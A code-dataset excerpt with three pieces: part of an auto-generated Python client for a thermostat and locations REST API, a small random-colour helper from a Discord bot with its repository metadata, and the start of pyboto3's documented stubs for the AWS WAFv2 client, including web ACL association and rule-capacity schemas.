self.v2_devices_thermostats_device_id_group_group_id_rooms_get_with_http_info(apikey, user_ref_id, location_id, device_id, group_id, **kwargs) # noqa: E501 def v2_devices_thermostats_device_id_group_group_id_rooms_get_with_http_info(self, apikey, user_ref_id, location_id, device_id, group_id, **kwargs): # noqa: E501 """Return status of sensors # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_group_group_id_rooms_get_with_http_info(apikey, user_ref_id, location_id, device_id, group_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param int group_id: Group ID (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ThermostatSensor, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['apikey', 'user_ref_id', 'location_id', 'device_id', 'group_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v2_devices_thermostats_device_id_group_group_id_rooms_get" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'apikey' is set if ('apikey' not in local_var_params or local_var_params['apikey'] is None): raise ApiValueError("Missing the required parameter `apikey` when calling `v2_devices_thermostats_device_id_group_group_id_rooms_get`") # noqa: E501 # verify the required parameter 'user_ref_id' is set if ('user_ref_id' not in local_var_params or local_var_params['user_ref_id'] is None): raise ApiValueError("Missing the required parameter `user_ref_id` when calling `v2_devices_thermostats_device_id_group_group_id_rooms_get`") # noqa: E501 # verify the required parameter 'location_id' is set if ('location_id' not in local_var_params or local_var_params['location_id'] is None): raise ApiValueError("Missing the required parameter `location_id` when calling `v2_devices_thermostats_device_id_group_group_id_rooms_get`") # noqa: E501 # verify the required parameter 'device_id' is set if ('device_id' not in local_var_params or local_var_params['device_id'] is None): raise ApiValueError("Missing the required parameter `device_id` when calling `v2_devices_thermostats_device_id_group_group_id_rooms_get`") # noqa: E501 # verify the required parameter 'group_id' is set if ('group_id' not in local_var_params or local_var_params['group_id'] is None): raise ApiValueError("Missing the required parameter `group_id` when calling `v2_devices_thermostats_device_id_group_group_id_rooms_get`") # noqa: E501 collection_formats = {} path_params = {} if 'device_id' in local_var_params: path_params['deviceId'] = local_var_params['device_id'] # noqa: E501 if 'group_id' in local_var_params: path_params['groupId'] = local_var_params['group_id'] # noqa: E501 query_params = [] if 'apikey' in local_var_params: query_params.append(('apikey', local_var_params['apikey'])) # noqa: E501 if 'location_id' in local_var_params: query_params.append(('locationId', local_var_params['location_id'])) # noqa: E501 header_params = {} if 'user_ref_id' in local_var_params: header_params['UserRefId'] = local_var_params['user_ref_id'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/devices/thermostats/{deviceId}/group/{groupId}/rooms', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ThermostatSensor', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def v2_devices_thermostats_device_id_post(self, apikey, user_ref_id, location_id, device_id, update_thermostat, **kwargs): # noqa: E501 """Change the setpoint, system mode, and auto changeover status of a thermostat. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_post(apikey, user_ref_id, location_id, device_id, update_thermostat, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param UpdateThermostat update_thermostat: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.v2_devices_thermostats_device_id_post_with_http_info(apikey, user_ref_id, location_id, device_id, update_thermostat, **kwargs) # noqa: E501 def v2_devices_thermostats_device_id_post_with_http_info(self, apikey, user_ref_id, location_id, device_id, update_thermostat, **kwargs): # noqa: E501 """Change the setpoint, system mode, and auto changeover status of a thermostat. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_post_with_http_info(apikey, user_ref_id, location_id, device_id, update_thermostat, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param UpdateThermostat update_thermostat: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['apikey', 'user_ref_id', 'location_id', 'device_id', 'update_thermostat'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v2_devices_thermostats_device_id_post" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'apikey' is set if ('apikey' not in local_var_params or local_var_params['apikey'] is None): raise ApiValueError("Missing the required parameter `apikey` when calling `v2_devices_thermostats_device_id_post`") # noqa: E501 # verify the required parameter 'user_ref_id' is set if ('user_ref_id' not in local_var_params or local_var_params['user_ref_id'] is None): raise ApiValueError("Missing the required parameter `user_ref_id` when calling `v2_devices_thermostats_device_id_post`") # noqa: E501 # verify the required parameter 'location_id' is set if ('location_id' not in local_var_params or local_var_params['location_id'] is None): raise ApiValueError("Missing the required parameter `location_id` when calling `v2_devices_thermostats_device_id_post`") # noqa: E501 # verify the required parameter 'device_id' is set if ('device_id' not in local_var_params or local_var_params['device_id'] is None): raise ApiValueError("Missing the required parameter `device_id` when calling `v2_devices_thermostats_device_id_post`") # noqa: E501 # verify the required parameter 'update_thermostat' is set if ('update_thermostat' not in local_var_params or local_var_params['update_thermostat'] is None): raise ApiValueError("Missing the required parameter `update_thermostat` when calling `v2_devices_thermostats_device_id_post`") # noqa: E501 collection_formats = {} path_params = {} if 'device_id' in local_var_params: path_params['deviceId'] = local_var_params['device_id'] # noqa: E501 query_params = [] if 'apikey' in local_var_params: query_params.append(('apikey', local_var_params['apikey'])) # noqa: E501 if 'location_id' in local_var_params: query_params.append(('locationId', local_var_params['location_id'])) # noqa: E501 header_params = {} if 'user_ref_id' in local_var_params: header_params['UserRefId'] = local_var_params['user_ref_id'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'update_thermostat' in local_var_params: body_params = local_var_params['update_thermostat'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/devices/thermostats/{deviceId}', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def v2_devices_thermostats_device_id_priority_put(self, apikey, user_ref_id, location_id, device_id, update_priority, **kwargs): # noqa: E501 """Change the room priority settings for a T9/T10 thermostat. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_priority_put(apikey, user_ref_id, location_id, device_id, update_priority, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param UpdatePriority update_priority: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.v2_devices_thermostats_device_id_priority_put_with_http_info(apikey, user_ref_id, location_id, device_id, update_priority, **kwargs) # noqa: E501 def v2_devices_thermostats_device_id_priority_put_with_http_info(self, apikey, user_ref_id, location_id, device_id, update_priority, **kwargs): # noqa: E501 """Change the room priority settings for a T9/T10 thermostat. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_device_id_priority_put_with_http_info(apikey, user_ref_id, location_id, device_id, update_priority, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param str device_id: Device ID (required) :param UpdatePriority update_priority: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['apikey', 'user_ref_id', 'location_id', 'device_id', 'update_priority'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v2_devices_thermostats_device_id_priority_put" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'apikey' is set if ('apikey' not in local_var_params or local_var_params['apikey'] is None): raise ApiValueError("Missing the required parameter `apikey` when calling `v2_devices_thermostats_device_id_priority_put`") # noqa: E501 # verify the required parameter 'user_ref_id' is set if ('user_ref_id' not in local_var_params or local_var_params['user_ref_id'] is None): raise ApiValueError("Missing the required parameter `user_ref_id` when calling `v2_devices_thermostats_device_id_priority_put`") # noqa: E501 # verify the required parameter 'location_id' is set if ('location_id' not in local_var_params or local_var_params['location_id'] is None): raise ApiValueError("Missing the required parameter `location_id` when calling `v2_devices_thermostats_device_id_priority_put`") # noqa: E501 # verify the required parameter 'device_id' is set if ('device_id' not in local_var_params or local_var_params['device_id'] is None): raise ApiValueError("Missing the required parameter `device_id` when calling `v2_devices_thermostats_device_id_priority_put`") # noqa: E501 # verify the required parameter 'update_priority' is set if ('update_priority' not in local_var_params or local_var_params['update_priority'] is None): raise ApiValueError("Missing the required parameter `update_priority` when calling `v2_devices_thermostats_device_id_priority_put`") # noqa: E501 collection_formats = {} path_params = {} if 'device_id' in local_var_params: path_params['deviceId'] = local_var_params['device_id'] # noqa: E501 query_params = [] if 'apikey' in local_var_params: query_params.append(('apikey', local_var_params['apikey'])) # noqa: E501 if 'location_id' in local_var_params: query_params.append(('locationId', local_var_params['location_id'])) # noqa: E501 header_params = {} if 'user_ref_id' in local_var_params: header_params['UserRefId'] = local_var_params['user_ref_id'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'update_priority' in local_var_params: body_params = local_var_params['update_priority'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/devices/thermostats/{deviceId}/priority', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def v2_devices_thermostats_get(self, apikey, user_ref_id, location_id, **kwargs): # noqa: E501 """Return all thermostats in a particular locationID # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_get(apikey, user_ref_id, location_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Thermostat] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.v2_devices_thermostats_get_with_http_info(apikey, user_ref_id, location_id, **kwargs) # noqa: E501 def v2_devices_thermostats_get_with_http_info(self, apikey, user_ref_id, location_id, **kwargs): # noqa: E501 """Return all thermostats in a particular locationID # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_devices_thermostats_get_with_http_info(apikey, user_ref_id, location_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param str location_id: Location ID (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Thermostat], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['apikey', 'user_ref_id', 'location_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v2_devices_thermostats_get" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'apikey' is set if ('apikey' not in local_var_params or local_var_params['apikey'] is None): raise ApiValueError("Missing the required parameter `apikey` when calling `v2_devices_thermostats_get`") # noqa: E501 # verify the required parameter 'user_ref_id' is set if ('user_ref_id' not in local_var_params or local_var_params['user_ref_id'] is None): raise ApiValueError("Missing the required parameter `user_ref_id` when calling `v2_devices_thermostats_get`") # noqa: E501 # verify the required parameter 'location_id' is set if ('location_id' not in local_var_params or local_var_params['location_id'] is None): raise ApiValueError("Missing the required parameter `location_id` when calling `v2_devices_thermostats_get`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'apikey' in local_var_params: query_params.append(('apikey', local_var_params['apikey'])) # noqa: E501 if 'location_id' in local_var_params: query_params.append(('locationId', local_var_params['location_id'])) # noqa: E501 header_params = {} if 'user_ref_id' in local_var_params: header_params['UserRefId'] = local_var_params['user_ref_id'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/devices/thermostats', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Thermostat]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def v2_locations_get(self, apikey, user_ref_id, **kwargs): # noqa: E501 """Get all locations, this will also return all devices within those locations # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_locations_get(apikey, user_ref_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Location] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.v2_locations_get_with_http_info(apikey, user_ref_id, **kwargs) # noqa: E501 def v2_locations_get_with_http_info(self, apikey, user_ref_id, **kwargs): # noqa: E501 """Get all locations, this will also return all devices within those locations # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.v2_locations_get_with_http_info(apikey, user_ref_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str apikey: Your Client ID (required) :param str user_ref_id: Your user ID (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Location], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['apikey', 'user_ref_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method v2_locations_get" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'apikey' is set if ('apikey' not in local_var_params or local_var_params['apikey'] is None): raise ApiValueError("Missing the required parameter `apikey` when calling `v2_locations_get`") # noqa: E501 # verify the required parameter 'user_ref_id' is set if ('user_ref_id' not in local_var_params or local_var_params['user_ref_id'] is None): raise ApiValueError("Missing the required parameter `user_ref_id` when calling `v2_locations_get`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'apikey' in local_var_params: query_params.append(('apikey', local_var_params['apikey'])) # noqa: E501 header_params = {} if 'user_ref_id' in local_var_params: header_params['UserRefId'] = local_var_params['user_ref_id'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['bearerAuth'] # noqa: E501 return self.api_client.call_api( '/v2/locations', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Location]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)
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5a21175e91b472ed17f57ac76113c65fc04a5b0b
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py
Python
utils/randomness.py
unixporn/upmo-discord
a90b62bb9aa2f29cdea4215dc56a47174e07961d
[ "MIT" ]
7
2018-01-14T03:30:35.000Z
2021-06-28T12:44:14.000Z
utils/randomness.py
unixporn/upmo-discord
a90b62bb9aa2f29cdea4215dc56a47174e07961d
[ "MIT" ]
null
null
null
utils/randomness.py
unixporn/upmo-discord
a90b62bb9aa2f29cdea4215dc56a47174e07961d
[ "MIT" ]
2
2018-07-27T12:00:56.000Z
2020-12-09T03:31:19.000Z
import random def random_colour(): return random.randint(0x000000, 0xFFFFFF)
13.833333
45
0.759036
10
83
6.2
0.8
0
0
0
0
0
0
0
0
0
0
0.114286
0.156627
83
5
46
16.6
0.771429
0
0
0
0
0
0
0
0
0
0.192771
0
0
1
0.333333
true
0
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
1
1
0
0
7
5a250df0c5a9553b8b5b7f8794ef9bf62cb8b383
631,652
py
Python
pyboto3/wafv2.py
gehad-shaat/pyboto3
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
[ "MIT" ]
91
2016-12-31T11:38:37.000Z
2021-09-16T19:33:23.000Z
pyboto3/wafv2.py
gehad-shaat/pyboto3
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
[ "MIT" ]
7
2017-01-02T18:54:23.000Z
2020-08-11T13:54:02.000Z
pyboto3/wafv2.py
gehad-shaat/pyboto3
4a0c2851a8bc04fb1c71c36086f7bb257e48181d
[ "MIT" ]
26
2016-12-31T13:11:00.000Z
2022-03-03T21:01:12.000Z
''' The MIT License (MIT) Copyright (c) 2016 WavyCloud Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def associate_web_acl(WebACLArn=None, ResourceArn=None): """ Associates a Web ACL with a regional application resource, to protect the resource. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage. For AWS CloudFront, don\'t use this call. Instead, use your CloudFront distribution configuration. To associate a Web ACL, in the CloudFront call UpdateDistribution , set the web ACL ID to the Amazon Resource Name (ARN) of the Web ACL. For information, see UpdateDistribution . See also: AWS API Documentation Exceptions :example: response = client.associate_web_acl( WebACLArn='string', ResourceArn='string' ) :type WebACLArn: string :param WebACLArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the Web ACL that you want to associate with the resource.\n :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource to associate with the web ACL.\nThe ARN must be in one of the following formats:\n\nFor an Application Load Balancer: ``arn:aws:elasticloadbalancing:region :account-id :loadbalancer/app/load-balancer-name /load-balancer-id ``\nFor an Amazon API Gateway stage: ``arn:aws:apigateway:region ::/restapis/api-id /stages/stage-name ``\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFUnavailableEntityException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: (dict) -- """ pass def can_paginate(operation_name=None): """ Check if an operation can be paginated. :type operation_name: string :param operation_name: The operation name. This is the same name\nas the method name on the client. For example, if the\nmethod name is create_foo, and you\'d normally invoke the\noperation as client.create_foo(**kwargs), if the\ncreate_foo operation can be paginated, you can use the\ncall client.get_paginator('create_foo'). """ pass def check_capacity(Scope=None, Rules=None): """ Returns the web ACL capacity unit (WCU) requirements for a specified scope and set of rules. You can use this to check the capacity requirements for the rules you want to use in a RuleGroup or WebACL . AWS WAF uses WCUs to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. AWS WAF calculates capacity differently for each rule type, to reflect the relative cost of each rule. Simple rules that cost little to run use fewer WCUs than more complex rules that use more processing power. Rule group capacity is fixed at creation, which helps users plan their web ACL WCU usage when they use a rule group. The WCU limit for web ACLs is 1,500. See also: AWS API Documentation Exceptions :example: response = client.check_capacity( Scope='CLOUDFRONT'|'REGIONAL', Rules=[ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 